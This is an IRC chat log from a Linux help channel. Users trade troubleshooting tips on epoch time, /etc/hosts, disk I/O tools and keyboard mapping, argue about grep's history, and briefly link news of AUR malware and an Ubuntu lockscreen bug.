"Jail" and Linux "Chroot" ? 10:56 < sauvin> I'm going to replace the fan in the laptop I bought at Staples as soon as I can figure out how to crack the goddamn case. None of my other computers, most of them from Walmart, have never been molested by a screwdriver. 10:56 < dgurney> fwiw Apple products haven't failed on me any more or less often than other products I've owned 10:56 < Armand> I only have DIY PCs.. I don't do brands. 10:57 < sauvin> If I trusted delivery, I'd do the DIY thing. 10:57 < Armand> I've got some old branded kit, but those are freebies and they've all been worked on in some way. 10:57 < sauvin> I've given serious thought to soldering together a frankenputer. :D 10:57 < Armand> :D 10:57 < Armand> RC2014 10:58 < Armand> It's a good start for DIY, if you want to learn system architecture. 10:59 < lessthan0> Grep would have been written in C 10:59 < lessthan0> this is not historically accurate at all 10:59 < sauvin> Show clear evidence. 10:59 < lessthan0> ken thompson wrote it without c 10:59 < peetaur2> Triffid_Hunter: yeah maybe...and the cases where it looked like the end newline was relevant may have actually been bash corrupting your input...like why is wc -l < /dev/null different from wc -l <<< "" 11:00 < lessthan0> someone that worked with him in the building is recorded on video talking about ken 11:00 < sauvin> The evidence you give has to be something a deaf person can evaluate. 11:00 < lessthan0> they had the students rewrite it in C as an assignment 11:00 < ExtremeFMan> "There were 35788 failed login attempts since the last successful login." 11:00 < sauvin> ExtremeFMan, jeebus, man! 11:00 < lessthan0> after ken adapted his regular expression machine code for ED 11:01 < ExtremeFMan> (I found my root pw) 11:01 < ExtremeFMan> luckily nobody else did ;) 11:01 < sauvin> Man, the idea of writing a regular expression engine in assembler hurts my brane. 11:01 < lessthan0> sauvin show clear evidence that he didn't? 11:02 < lessthan0> just sayin 11:02 < sauvin> Show clear evidence that he DID. 11:02 < lessthan0> this is the same argument only with a double standard 11:02 < lessthan0> and I can back it up 11:02 < Wulf> sauvin: writing a regex engine in any language hurts. 11:02 < sauvin> No, it isn't. I'm not arguing because I don't KNOW. I just know that UNIX itself has been written in C since practically forever. 11:02 < Armand> PHP hurts my brain, so screw that convo. :P 11:03 < lessthan0> https://www.youtube.com/watch?v=NTfOnGZUZDk 11:03 < bipul> Wulf, How do you write it? Does it required Theory of Automata to know? 11:03 < sauvin> Guessing you mised the part where a deaf person has to be able to evaluate it. 11:03 < lessthan0> Brian Kernighan worked with ken thompson 11:03 < lessthan0> and you? 11:04 < sauvin> seeing as how I can't understand speech, yes, me. 11:04 < afidegnum> offtopic... anyone in germany? 11:04 < Wulf> bipul: no, why would one need theoretical knowledge for... anything? 11:04 < afidegnum> i can't have my # key working ona remote console 11:04 < Wulf> afidegnum: try § 11:05 < afidegnum> normal S ? 11:05 < Wulf> afidegnum: shift-three 11:05 < bipul> I guess it required :) 11:06 < lessthan0> sauvin I never said unix was written without C 11:06 < lessthan0> you are not reading what I wrote 11:06 < afidegnum> Wulf: it rather brought a single quote 11:06 < lessthan0> I said GREP 11:06 < lessthan0> and that is a fact 11:06 < lessthan0> later it was written in C after it was written without C 11:07 < sauvin> lessthan0, what I meant was that there have been C compilers on UNIX since practically forever. 11:07 < bipul> But do you guys things soon java will replace c/c++ and next OS will be written in Java? 11:07 < lessthan0> completely not what I was asserting 11:07 < sauvin> Why would anybody use assembler for something like grep when C is available? 11:07 < lessthan0> you are smelling your own farts and showing them off 11:07 < sauvin> lessthan0, and you need to (1) learn some English and (2) cut the attitude. 11:07 < Wulf> bipul: aren't we there already? I thought windows is written in java. 11:07 < lessthan0> ken thompson was a bad ass 11:07 * Armand farts in lessthan0's general direction 11:07 < lessthan0> and the ram was sooo tiny 11:08 < lessthan0> disk was tiny 11:08 < bipul> Wulf, really window is written in java? 11:08 < Wulf> bipul: or was it vba? can't remember. 11:08 < azarus> windows is written in a platitude of language 11:08 < azarus> windows is written in a platitude of languages* 11:08 < bipul> Aww it's smelling stinky. Somebody fart. 11:08 < sauvin> "platitude"? 11:09 < azarus> multitude* 11:09 < Armand> Multitude, you ass. :P 11:09 < azarus> gah 11:09 < Armand> hahaha 11:09 < sauvin> :D :D :D :D 11:09 < azarus> i make mistakes too, i'm sorry 11:09 < Armand> My fart must have really screwed up the room. :P 11:09 < sauvin> I was thinking "plethora" with a connotational leaning towards "babble" 11:09 < Armand> plethable ? 11:09 < bipul> Wulf, Okay. 11:10 < lessthan0> sauvin you were wrong about something then you started condescending then you had an attitude then you made a strawman argument with your attitude then you told me I have an attitude 11:10 < lessthan0> and you are not a mod in here afaik 11:10 < lessthan0> but you act like you are 11:10 < lessthan0> you and I are equals 11:11 <@sauvin> Learn some English and cut the attitude. 11:12 * bipul scared with sauvin 11:13 < Pentode> lol 11:14 < bipul> Pentode, Hi. 11:14 < Pentode> hi 11:14 < OnkelTem> Hi all 11:14 < bipul> How you doing? 11:14 < bipul> OnkelTem, Hello 11:14 < Pentode> still kicking 11:14 < Pentode> ..and screaming 11:14 < bipul> Why what happen? 11:14 < OnkelTem> Guys, are you aware of a tool which helps with logs analysis? I wonder what is the most convenient way to specify date/time of interest in command line 11:15 < bipul> If you like java then Logstash and elasticsearch is best for you. 11:15 < OnkelTem> Ok, I meant a tool which supports filtering by fuzzy date 11:16 < bipul> Regex will do that for you. 11:16 < OnkelTem> hell never 11:16 < OnkelTem> it's a joke 11:17 < OnkelTem> What do you think would be most easy way to provide approximate date and time for you? 11:17 < bipul> OnkelTem, What exactly are you trying to accomplish? 11:17 < Tazmain> Hi all, can I have an environment variable like fw.env ? 11:18 < Pentode> im trying to figure out _how_ the heck spilling a little liquid into a laptops keyboard takes out an input on the keyboard multiplexer.. i was thinking maybe it shorted the driving voltage for the status led on caps lock or something to one of the inputs but cap / num lock werent even on. 11:18 < Pentode> hrmph 11:18 < OnkelTem> ok. Imagine a log file each line of which starts with date-time, e.g.: "Jun 26 06:13:50 ..." 11:18 < bipul> okay. 11:18 < OnkelTem> now you want to see what had been happening at some specific point of time +/- 10 minutes 11:19 < OnkelTem> or in some hour or... etc. You got the idea 11:19 < bipul> use sed 11:19 < OnkelTem> Also, you may want to specifiy timezone to easily switch between them 11:19 < OnkelTem> sed knows about dates? 11:20 < bipul> Yes if you know regex 11:20 < OnkelTem> I know regex but I never heard about datetime conversion routines in it ;-) 11:21 < sauvin> Or datetime arithmetic. 11:21 < jim> when I try: fw.env=4 it says bash: fw.env=4: command not found 11:21 < sauvin> jim, you're trying to set an environment variable? 11:21 < jim> even if I \. 11:22 < pingfloyd> that's not a valid variable name 11:22 < OnkelTem> Btw, guys, probably I was not clear enough. I didn't mean that I was looking for a tool which helps me in logs analysis 11:22 < OnkelTem> I'm writing a tool for this 11:22 < sauvin> OnkelTem, in what language? 11:22 < bipul> replace . 11:23 < jim> sauvin, in response to Tazmain's question 11:23 < pingfloyd> Tazmain: no 11:23 < sauvin> Oh. Tazmain, would "fw_env" do instead? 11:24 < jim> yeah, the . made bash think the whole thing was a command 11:24 < eraserpencil> hi guys! 11:24 < jim> hi 11:25 < bipul> Ony variable can store the values. 11:26 < eraserpencil> dmesg told me my USB device is causing an over current in my system 11:26 < bipul> eraserpencil, How did he told you? 11:26 < eraserpencil> does that mean my kernel has a software type of a current sensor 11:26 < bipul> Did he told you or showed you? 11:26 < eraserpencil> the output of dmesg showed * 11:26 < Triffid_Hunter> eraserpencil: it means your usb port controller has current sensors 11:27 < bipul> if he showed you then share with us. 11:28 < epitamizor> my virtualbox vm hit hdd space limit. deleted files for more space, now vm wont start again. wtf? 11:29 < Dagmar> You probably should have been pickier about what you removed 11:29 < bipul> epitamizor, Check the VM logs on your host machine. 11:29 < OnkelTem> sauvin: php 11:30 < sauvin> OnkelTem, I know damn little of PHP, and so can offer extremely limited help. Research: does it have datetime conversion/arithmetic functions? 11:30 < Dagmar> sauvin: It's okay. If you know perl you know PHP. ;) 11:30 < OnkelTem> So I repeat my question again: if you were analysing some logs and presented with a tool for that, it this tool could do filtering by date, in which format you'd like to see this date filter? 11:30 < sauvin> I seriously doubt OnkelTem can use perl modules. 11:30 < Dagmar> There will be date<->epoch conversion mechanisms 11:31 < Dagmar> There are even bloody websites explaining how to use them 11:31 < sauvin> Good enough. OnkelTem what do you mean exactly by "what format you'd like to see"? 11:31 < OnkelTem> For example: '2018-06-26' is definitely mean what it means. But what if you want to see events at e.g 16:05 +/- 10 minutes? 11:31 < Dagmar> ...because PHP users tend to require um... a rather specific diet 11:32 < sauvin> Oh, Dagmar, you're saying they're coprophiles? 11:32 < Dagmar> OnkelTem: You convert that to epoch time and work from there 11:32 < OnkelTem> sorry for gramatics 11:32 < OnkelTem> Dagmar: you mean? 11:32 < notmike> Epoch time can't last forever 11:32 < Dagmar> sauvin: More cranium, less thorax 11:32 < Dagmar> OnkelTem: First rule of date computation club... you *always* convert the localized time to epoch seconds. 11:33 < sauvin> They have thoracics? 11:33 < djph> notmike: 64-bit int is pretty big ... we've got a while. 11:33 < bipul> 2018-06-26 <- This is Year month and date and you wants to convert it into 16:05 that means 4 PM? 11:33 < sauvin> We're still mostly using 32-bit ints, no? 11:34 < bipul> WTF! 11:34 < Dagmar> OnkelTem: Epoch seconds will never run backwards. They are always one second long. They are the same time zone everywhere. They will never eat the last of the biscuits without buying more either. 11:34 < OnkelTem> Dagmar: that's another issue btw. I don't know exaclty which timezone is set for these logs. So I would like to easily switch it in my command line. For example '--tz 1' could mean London time with daylight saving :) 11:35 < Dagmar> No, it would mean you've failed 11:35 < bipul> Dagmar, Please let us know what he wants to know? Since your the one who understand his question. 11:35 < Dagmar> OnkelTem: Check this page carefully https://www.epochconverter.com/programming/php 11:35 < OnkelTem> bipul: I'm not sure in that =) 11:36 < bipul> okay. 11:36 < sauvin> What dagmar is suggesting is the very conclusion I drew quite a while ago when trying to co-ordinate data coming in from sources in a pile of different time zones. I simply converted everything to epoch and worked with differences expressed in seconds. 11:36 < Dagmar> OnkelTem: If you don't know the time zone something's in you can probably *assume* the local TZ, but otherwise, any time manipulation you convert to epoch, add or subtract whatever number of seconds you need there, then convert it back 11:37 < Dagmar> It'll use glibc's functions and will *NOT* screw you over during leap seconds or any of that nonsense. 11:37 < djph> sauvin: x86_64-based OSes use a 64-bit time_t ... 11:37 < Dagmar> Every. Other. Method. Will. Fail. 11:37 < djph> sauvin: (or well, anything using 64-bit anyway) 11:38 < Dagmar> Some people will get the idea that they should just use a regexp to parse things into three values, like [18, 6, 26] and just add one to the third field to get "tomorrow". 11:38 < OnkelTem> bipul: --filter-by-date --date=2017-06-2018 --time=16:05 --diversity=00:10 - how does this look for you? 11:38 < sauvin> djph, does that include the datetime fields in modern FS? 11:39 < djph> sauvin: "time_t" is epoch time. It's (still) simply the number of seconds since 1/1/1970 11:39 < sauvin> OnkelTem, replace "diversity" with "interval" or "span". 11:39 < Dagmar> Everything should be using 64-bit ints for that now 11:39 < djph> sauvin: conversion to "human readable" information is done in software. 11:40 < Dagmar> I dunno about some of the more moribund windows environments, but everything Linux should have 64-bit timestamps on their files, etc etc 11:40 < sauvin> djph, I'm asking about the size of the int used by the datetime fields in directory and file structures on modern FS. 11:40 < djph> Dagmar: well, my 32-bit box over there disagrees :) 11:40 < Dagmar> We're not going to have an epoch "failure" in 2036 or 2037. 11:40 < djph> sauvin: "time_t" *IS* the int. 11:40 < sauvin> I thought it was 2038. 11:40 < djph> Dagmar: 2038 for 32-bit time_t 11:40 < Dagmar> ...and anything that might will or at least should be only in a museum by then 11:40 < djph> Dagmar: it's my space-heater :) 11:41 < sauvin> I mean, that's twenty years from now. I will likely not still be alive, or if I am, I'll be a vegetable, but... it's comforting to believe time_t is 64-bit now everywhere. 11:42 < Tazmain> sauvin, hmmm not sure, it was from windows that the code used fw.env , so I think the code wants that 11:42 < Dagmar> We started converting to 64-bit ints for epoch more than a decade ago 11:42 < sauvin> Oh, Windows? Urnk. 11:42 < Tazmain> sauvin, yeah I am using linux, but need to get my setup similar 11:42 < Dagmar> The last "incident" happened in like 2006 IIRC when the kernel code that was supposed to handle leap seconds sort of malfunctioned, but we were all 64-bit then 11:43 < sauvin> Welcome to the tiergarten of converting Windows stuff, even at the source level. 11:43 < Dagmar> I can't remember the year for sure, just that it wreaked a bit of mayhem on some databases that night 11:44 < sauvin> But seeing as how all my database stuff is from within the past six years, you're saying I'm safe? 11:44 < djph> safe enough anyway 11:44 < Dagmar> As if any of that will still be running in five years. Heh 11:44 < Dagmar> It'll be _fine_ unless you somehow managed to downconvert something that uses time to only store 32 bits of it 11:45 < sauvin> Never underestimate my parassitude. I may still be running PostgreSQL 9.5 five years from now. 11:45 < OnkelTem> sauvin: thanks! I was looking for a good word, but failed :) 11:45 < sauvin> OH, yeah, I said "tiergarten" when I should have said "menagerie". My bad. 11:46 < Dagmar> Ah 2012 sez the web 11:46 < sauvin> 2012... that means some of my older installs that I've not booted in a while may still be impacted. Hrm. 11:46 < Dagmar> Well... no 11:47 < Dagmar> NOt unless you somehow go back in time and run them during the leap second day in 2013 11:47 < Dagmar> er 2013 11:47 < Dagmar> !@#$@# 2012 11:47 < sauvin> Dagmar, fear. I still have a machine that I've not turned on in about twelve years that's still running Fedora Core something. 11:47 < Dagmar> Yeah but you don't have a time machine 11:47 < Dagmar> I honestly don't know what you could be worrying about 11:47 < RayTracer> it's runnig while it's turned off, that sounds great 11:47 < RayTracer> *running 11:48 < sauvin> But I DO. I have to manually enter the date on boot because its clock battery is dead. 11:48 < Dagmar> Machines affected by this bug were already generally using 64-bit ints for epoch time 11:48 < Dagmar> So, if a power failure happens, you will have approximately 32 years to set the clock correctly 11:48 * sauvin falls over laughing 11:49 < Dagmar> I don't believe in "five nines" I believe in "100% or GTFO" and I am not worried about this anymore, man 11:50 < sauvin> By "five nines" I presume you mean 0.99999. 11:50 < Dagmar> Some databases went *bloop* and dropped all their conections, and then things basically resumed per usual 11:50 < Dagmar> I mean the rather silly metric of "99.999% uptime" 11:50 < sauvin> If so, I DO believe in "five nines", but only when playing backgammon. 11:51 < sauvin> So, like I said, 0.99999. 11:51 < Dagmar> The people pushing it would never represent it as a fraction when a large whole number would do 11:52 < sauvin> The people pushing it are marketing droids. 11:54 < Dagmar> Anyway, spend thirty cents on a new battery. Sheesh 11:55 < bipul> I'm wondering when we will have solar batter in our laptop. 11:55 < RayTracer> lack of a fresh CR2025 prevented me starting the car today 11:55 < Dagmar> About the same time professional programmers willingly work in full daylight 11:56 < sauvin> Screw that. Hook the solar collectors up to batteries or relay conduit or something so we can work where we're most comfortable - in the wreck room in the basement! 11:57 < bipul> Yes even with smartphones and other electronic gadget. 11:57 < Dagmar> They can all recharge from the USB ports in the laptop which are powered by the wall outlet like god intended. 11:58 < Dagmar> ...or by the conveniently placed Qi pedestals 11:58 < Dagmar> Personally, I use charging pags 11:58 < Dagmar> er pads 11:59 < bipul> Qi pedestals? 11:59 < Dagmar> Wireless charging pads 12:00 < qswz> should I put 127.0.0.1 localhost or 127.0.0.1 localhost. in /etc/hosts, or both maybe? 12:00 < epitamizor> localhost 12:00 < Dagmar> Trailing dot isn't needed there 12:00 < qswz> context Chrome is messing up https://stackoverflow.com/a/30476300/3183756 12:00 < qswz> ah ok, it's just chrome being stupid 12:00 < Dagmar> If you wanted to get really picky, it should be 127.0.0.1 localhost.localdomain localhost 12:01 < post-factum> qswz: did you add also api.localhost there? 12:01 < epitamizor> try 127.0.0.1 * 12:01 < qswz> no 12:01 < Dagmar> ...but ipv6 is a whole 'nother thing 12:01 < post-factum> so how do you think that chrome will find out what your api. subdomain corresponds to 12:02 < qswz> http://vpaste.net/cTi2z more or ess what I had 12:02 < Dagmar> Anything looking up "localhost." is experiencing some kind of error 12:02 < Dagmar> They need to go look at the Stevens book 12:03 < Dagmar> "Localhost" is supposed to _always_ resolve to 127.0.0.1 on a lookup, every time 12:03 < epitamizor> try 'cat /etc/hostname' 12:03 < Dagmar> It is a name that's _special_ to ipv4. No dot shoudl ever be needed, and the root servers will ignore that query 12:06 < Dagmar> Oh god. I see what's been going on now 12:06 < Dagmar> Yeah no... don't ever try to "domainify" _localhost_. 12:07 < Dagmar> Aaaaanything but that 12:07 < epicmetal> What's causing urxvt/slock to beep if I've already unloaded pcspkr module? 12:08 < epicmetal> It's a different kind of beep 12:08 < epicmetal> It must die 12:08 < Dagmar> You don't say? 12:09 < epicmetal> Ah, there's an ALSA "beep" output 12:09 < Dagmar> post-factum: Using api.localhost. for that is just a very bad idea 12:10 < post-factum> Dagmar: ye, i know… that dude should use smth like example.com instead 12:11 < Dagmar> The recursive query will start with "localhost" 12:11 < FreeFull> epicmetal: Yeah, you can just mute it 12:11 < Dagmar> YOu can't CNAME around it, you can't alias it, because for ipv4 it's a reserved name 12:12 < Dagmar> It's *going* to resolve to a single address, every time, with no possibility of a subdomain 12:18 < GlenK> I don't suppose anyone has had this ntopng problem where you can't login on a fresh install? any solution? 12:18 < GlenK> barring that, any good alternatives to ntopng? 12:22 < well_laid_lawn> 5tried ntop ? 12:22 < Tazmain> Hi all, is there like a visual tool I can see disk I/O , or use ? Like windows 10 shows you like a cpu monitor for the disk 12:22 < well_laid_lawn> tried ntop ? 12:23 < Dagmar> Cacti. ;) 12:23 < Tazmain> ntop? not yet well_laid_lawn 12:24 < well_laid_lawn> notpng is ntop new generation 12:27 < Tazmain> notpng ? 12:27 < Tazmain> did they really call it that 12:28 < djph> I think it's a typo of 'ntopng' perhaps? 12:31 < Tazmain> ntop doesn't show disk 12:33 < pingfloyd> iotop for disk 12:34 < Tazmain> pingfloyd, thank you 12:34 < pingfloyd> you're welcome 12:45 < w0jtas> -NickServ- 12:45 < w0jtas> hello i have weird problem with my PHP application, in strace i found it's having timeout, now i had fd/9 number but lsof only show "protocol: TCP" for such fd, how can i get more info about connection ? 12:46 < epicmetal> Is there a generic way to bind special laptop keys (fn+brightness, volume up/down/mute, etc.) regardless of whether I'm in xorg or not 12:47 < epicmetal> I basically just want the OS to exec amixer/brightnessctl as appropriate 12:47 < epicmetal> Regardless of who I'm logged in as 12:55 < well_laid_lawn> the Fn keys can't be mapped 12:57 < BluesKaj> Howdy folks 12:57 < lizzie> that wasn't the question... the fn key combos all have their own scancodes (same as the scancodes from some the extra buttons on a multimedia keyboard) 12:58 < epicmetal> So how do major DEs do this? 12:58 < lizzie> they simply implement default keymappings for those scancodes 12:58 < lizzie> stuff like volume and brightness is really widely supported 12:58 < epicmetal> I'm running a mimimial WM 12:58 < lizzie> your question... how to map those from the cli... I'm afraid I don't know the answer to. 12:59 < epicmetal> Minimal* 13:00 < epicmetal> Maybe I need sxhkd or something. I'm currently running ratpoison. 13:00 < lizzie> epicmetal: this might help at least... use xev to identify the scancodes 13:00 < lizzie> at least then you'll know what to try to map 13:00 < epicmetal> I've got that far 13:00 < lizzie> ok, sorry 13:00 < epicmetal> XF86* 13:00 < epicmetal> I can get ratpoison to bind them but I don't want to have to press its leader key first 13:03 < Limona> hi, can someone help me get openvpn to run 13:03 < Limona> i get weird error on windows about TUN 13:03 < Limona> and i can't connect 13:03 < lizzie> epicmetal: see if https://wiki.archlinux.org/index.php/extra_keyboard_keys#Mapping_keycodes_to_keysyms helps 13:03 < lizzie> I gotta go to sleep though 13:04 < epicmetal> lizzie: thanks. 13:10 < djph> Limona: er, a windows error would probably be better troubleshooted with windows people (or the ovpn people directly) 13:10 < Limona> i think it's openvpn's config that's the problem? 13:16 < djph> no idea, I don't do windows. 13:19 < jim> Limona, don't you want to install linux? 13:22 < Limona> yeah, can't wait to give linux to our business personnel 13:22 < Limona> they can't even open excel 13:23 < BluesKaj> what? you expect to run excel on linux? 13:24 < epicmetal> Or maybe the staff aren't skilled enough to lauch Excel on Windows :) 13:26 < thebigj> Hey 13:26 < kurahaupo> BluesKaj: Google Sheets maybe. 13:27 < djph> ... that should be a firing offence, tbh. I mean "proficient with MS Office" is on like literally every job posting. 13:27 < thebigj> I have one code which is burning memory card. 13:27 < thebigj> That is rootfs of Raspbian 13:27 < thebigj> The problem is, it is burning memory card read only. 13:28 < thebigj> can anyone guide me which functionality is there which is making / writing and making this as read only? 13:28 < BluesKaj> Limona, uhm, you'd better rethink and do some research about what Linux is and what it does..it's not a platform for running windows apps directly, for starters 13:29 < djph> BluesKaj: I think that was sarcasm. 13:29 < thebigj> At present, whatever I write, it is removed when I reboot it. 13:29 < Limona> BluesKaj scuze me? 13:29 < djph> thebigj: sounds like you're "writing" to a tempfs. 13:30 < epicmetal> djph: you'd be surprised how many staff at work complain of having received no technical training 13:31 < BluesKaj> Limona, don't ask windows questions here then 13:32 < epicmetal> People can barely differentiate what is stored on their computer (and where) versus online 13:32 < djph> epicmetal: I mean, I can understand "hey, no one showed me how to use $specialist_program" (e.g. an internally built ... whatever) ... but *Office* - no, not at all. 13:33 < epicmetal> djph: they can't even use Windows 13:33 < epicmetal> djph: ask them to copy more than a single file somewhere... nope 13:33 < Bakbok> anyone got a second for linux namespaces question?;p 13:33 < Wulf> Bakbok: no. But ask anyway. 13:33 < djph> Bakbok: no. :P 13:33 < Bakbok> ;'( 13:34 < storge> djph: i know electricians who can do circular mil math in their head while on a roof in the snow, but they simply aren't regular users of office software. so it depends on the job of course. 13:34 < djph> epicmetal: on the other hand, it is these dumbs that keep me employed; so ... 13:34 < epicmetal> yeah same :) 13:34 < Limona> BluesKaj aint got anything to do with windows 13:34 < Limona> turns out my .openvpn file was blank 13:34 < epicmetal> I should do like my coworker does and explain absolutely nothing to them, just solve the problem and be done 13:35 < epicmetal> I usually try to impart some wisdom 13:35 < storge> epicmetal: so you want to be the IT guy from the old saturday night live skit 13:35 < BluesKaj> Limona, then copy the .ovpn files to it 13:35 < Bakbok> i'm trying to use clone on NEW_PID and NEW_USER and then write to uid_map / gid_map, seems like im getting operation not permitted (verified that the SYS_SETUID / SETGID exist within the process), but still getting operation not permitted, any advice? 13:35 < epicmetal> We have this one lady who just cannot figure out how to change her password, and she's been there over a decade (with tri-annual mandated password change) 13:35 < storge> epicmetal: i have the opposite take. i educate them and it's one less dumb call i get later 13:35 < epicmetal> Like, she refuses to think 13:35 < djph> storge: I'm making the distinction where "familiar with [MS] Office Software" is on the job posting (i.e. an office worker, etc.). Electrician or other "doesn't deal with office" job, meh. 13:35 < epicmetal> storge: haven't seen that 13:35 < Limona> well i misspelled and linux doesn't worn you about it at all ;_ 13:35 < storge> djph: ok i didn't see that 13:36 < djph> storge: happens 13:36 < epicmetal> storge: I used to think that way (i.e. currently do, but am considering changing) 13:36 < djph> I have a clue-by-four. 13:36 < storge> epicmetal: i have, but then i worked in fairly technical places where people are mostly sharp 13:36 < Lope> what's this crappy hint popping up when I open my terminal? To run a command as administrator (user "root"), use "sudo ". See "man sudo_root" for details. 13:36 < Lope> and how can I get rid of it? 13:36 < storge> lol 13:36 < epicmetal> storge: these people are the opposite of sharp, and they can get away with not learning 13:37 < Lope> apt-get remove --purge trainingwheels? 13:37 < storge> epicmetal: well if it's a medium-sized enterprise where educating them means teaching yourself out of a job, keep them dumb. hey it worked for the british all over africa, and look how well africa's doing now! 13:37 < Lope> Oh, it's cos I deleted ~/.sudo_as_admin_successful 13:37 < Lope> That's an annoying file. 13:37 * storge with the non sequitar tangent 13:38 < iflema> maybe they think its bogus crap and they shouldnt have to... 13:38 < epicmetal> storge: haha 13:38 < epicmetal> I'll just treat them as if they already know how to do things and teach them nothing 13:39 < epicmetal> Unless they ask, of course 13:39 < epicmetal> "Can you do it for me?" 13:39 < storge> epicmetal: i don't think you can middle-road it. i think if you adopt the no-teaching way, it must be packaged with constant contempt for their idiocy. constant and overt. but not enough to get fired. 13:39 < epicmetal> "I can show you how..." 13:39 < epicmetal> Oh, there's contempt ;) 13:40 < epicmetal> It must be nice working with other technical people 13:40 < storge> rolling eyes must be done at every single incident. 13:40 < epicmetal> No, I don't want to be rude 13:40 < epicmetal> Just cold :D 13:40 < storge> you don't want to but you really need to. for freedom. or something. 13:40 < epicmetal> Give the unfiltered technical explanation to everything 13:41 < djph> along with the BOFH excuse of the day, of course. 13:41 < epicmetal> Do it for RMS 13:41 < epicmetal> Meanwhile, I am saddened to find that Sway isn't in Sid 13:42 < storge> i couldn't do it when i worked hospital IT (well it was biomedical network) because they needed the devices to be high functional. but a desk jockey, yea they can call me again for their dumb shit and i'll log the time. 13:43 < djph> speaking of -- today's excuse: pseudo-user on a pseudo-terminal 13:43 < storge> for patient care, i really had to educate caregiving staff--and it made me more valuable to the organization. 13:43 < epicmetal> Don't get me wrong, I like educating users... but so many where I work just don't want to learn 13:43 < Lope> This sucks: https://askubuntu.com/questions/813942/is-it-possible-to-stop-sudo-as-admin-successful-being-created 13:43 < epicmetal> Literally couldn't care less 13:44 < BluesKaj> using a a negative attitude towards those who don't have the knowledge is not "training" that's for sure 13:44 < djph> Lope: eh? 13:44 < Lope> djph, dumb file in ~ 13:45 < Lope> If every program added it's own file to ~ for trivial reasons, doing `ls -la` would really suck. 13:45 < storge> Ubuntu lockscreen bypass by removing hdd, devs say fix unlikely https://bugs.launchpad.net/ubuntu/+source/unity/+bug/1777415 13:46 < djph> Lope: indeed. 13:46 < Lope> I think training-wheels type of functionality should be provided by a package that can be removed. 13:46 < Lope> Or at least a default option that can be changed in a config file. 13:46 < Lope> Not hard-coded. 13:46 < djph> isn't that file the one that stops the stupid warning text about "sudo is dangerous"? 13:47 < Lope> not same warning. It's the notice that sudo exists if you need it. 13:47 < Lope> "how to computer" 13:47 < djph> storge: "lock screen circumvented by physical access" ... hmm, yeah, not really news. 13:47 < djph> Lope: ah, I misread which message it was getting rid of. 13:47 < Nexilva> Hello 13:48 < Nexilva> I tried many times to install Lubuntu LXQT but it fails everytime 60% of the way with some apt/bash script it can't run, unrecoverable error 13:48 < Nexilva> So I need a different distro 13:48 < Nexilva> :) 13:48 < Psi-Jack> Told ya. Solus. :) 13:49 < storge> last night (or perhaps i dreamt it) there was conversation about minimal text based browsers. i found one today i want to try: https://www.brow.sh/ 13:50 < Nexilva> Bodhi linux was ok, but I mean, moksha desktop also has little usability 13:50 < djph> MX 13:50 < Nexilva> sorry? 13:50 < BluesKaj> Psi-Jack, what about Solus? Why do you recommend that OS? 13:50 < qswz> epicmetal: sorry, yes cat /etc/hostname is 'inspiron' 13:50 < Nexilva> why can't I see text by Psi-Jack ? 13:50 < Psi-Jack> BluesKaj: Because it is a very solid and unique distribution. ;) 13:50 < storge> Nexilva: because you set him on ignore, righteously, at some point 13:50 < epicmetal> qswz: huh? 13:51 < qswz> epicmetal: a reply to a msg 30m ago 13:51 < BluesKaj> Psi-Jack, unique eh, how? 13:51 < Nexilva> 11:50 [3] mask: Psi-Jack / server: * / channel: * 13:51 < Nexilva> That's interesting, I have like 20 ignores, he's on top at #3. Why did I ignore him. Is he a troublelmaker? 13:51 * BluesKaj googles Solus 13:51 < Nexilva> I can't remember. 13:52 < storge> Nexilva: that night he was 13:52 < Psi-Jack> BluesKaj: It's not based on any other distro, follows better standards for keeping packaged configuration not inside /etc, no bandaids like "update-alternative" nonsense that Debian derived. So many things. 13:52 < Nexilva> Must have been for a good reason. There are like 17 ignores after him 13:52 < Nexilva> Hm. 13:52 < storge> Psi-Jack: i'll try it 13:52 < epicmetal> Psi-Jack: can you elaborate on the /etc bit 13:52 < Nexilva> Ok, I can remove it. 13:52 < storge> Nexilva: or you were petty and didn't agree with Psi-Jack wisdom, so maybe it was your fault 13:52 < BluesKaj> Psi-Jack, ok, sounds neat...maybe I'll check it out 13:52 < djph> Psi-Jack: wait, what? they don't use /etc for global configs? 13:53 < Psi-Jack> epicmetal: Well, for example, bash's profile.d is sourced from /usr/share/defaults/etc/profile, instead of /etc/profile.d only. Though the usr-share one sources in /etc/profile.d as well. 13:53 < Nexilva> Nexilva: or perhaps I a short patience for people with terrible attitudes and dispositions? 13:53 < Nexilva> have* 13:54 < Psi-Jack> So you CAN change what's there, but the packages often try to maintain their defaults elsewhere, sourcing in config from /etc where possible. 13:54 < Nexilva> I mean, I just addressed myself, haha 13:54 < epicmetal> Psi-Jack: that's a nice touch 13:54 < storge> Nexilva: narcissist 13:54 < Psi-Jack> Indeed. :) 13:54 < storge> Nexilva: i do it when i type storage 13:55 < Psi-Jack> The idea being that, for the most part, everything you need is already included, and you only backup /etc for actually customized stuff. ;) 13:55 < Nexilva> storge: no such thing! all these various 'personality' things peddled by the pschologist are only for his benefit, to sell you a non-existent problem, and a silly solution 13:55 < Nexilva> storge: :) 13:55 < Psi-Jack> And no update-etc nonsense is needed either. 13:55 < storge> Psi-Jack: i like the sound of that 13:55 < storge> logical 13:55 < Psi-Jack> Course, Solus is specifically designed for desktop use. 13:56 < Nexilva> storge: there is no such thing as the 'self' or the 'I' or the ego or the individual... just silly concepts peddled by charlatans. I might try Bodhi linux agian. Or go back to kubuntu 13:56 < epicmetal> Psi-Jack: I'm on a "Debian Sid with minimal WM 13:56 < Psi-Jack> It's not your distro for servers, definitely. They for example, won't even package postfix or any mail server because that's not needed for a desktop/workstation. 13:56 < Nexilva> *sigh* I like Lubuntu Qt, but it's not installing 13:56 < epicmetal> Psi-Jack: I'm on a "Debian Sid with minimal WM" kick at the moment. Usually I'm on Arch with a DE. 13:56 < Psi-Jack> AUR just found yet another malware. 13:56 < Psi-Jack> https://www.linuxuprising.com/2018/07/malware-found-on-arch-user-repository.html?m=1 13:57 < Nexilva> epicmetal: my desktop is debian/testing (upgraded since the days of sarge/testing) from like 2003, with Xmonad and an unplugged mouse. :) 13:57 < storge> epicmetal: debian-testing with openbox here. same as the last 15 years heh 13:57 < searedvandal> Psi-Jack, so badly coded that it didn't do much 13:57 < Nexilva> high five! 13:57 < searedvandal> Psi-Jack, but still shows that one gotta go through the code before installing random stuff from the aur, or ppa's or where ever. 13:57 < Psi-Jack> searedvandal: Still. It's a high target because of popularity and ease of injection of such things. 13:57 < Nexilva> browse web with a chromium extension that gives you two keycodes for each link on page. 13:58 < storge> cool, i can install malware directly into arch from a repo? that's badass 13:58 < searedvandal> Psi-Jack, true. lots of lazy arch users out there who install without looking at the 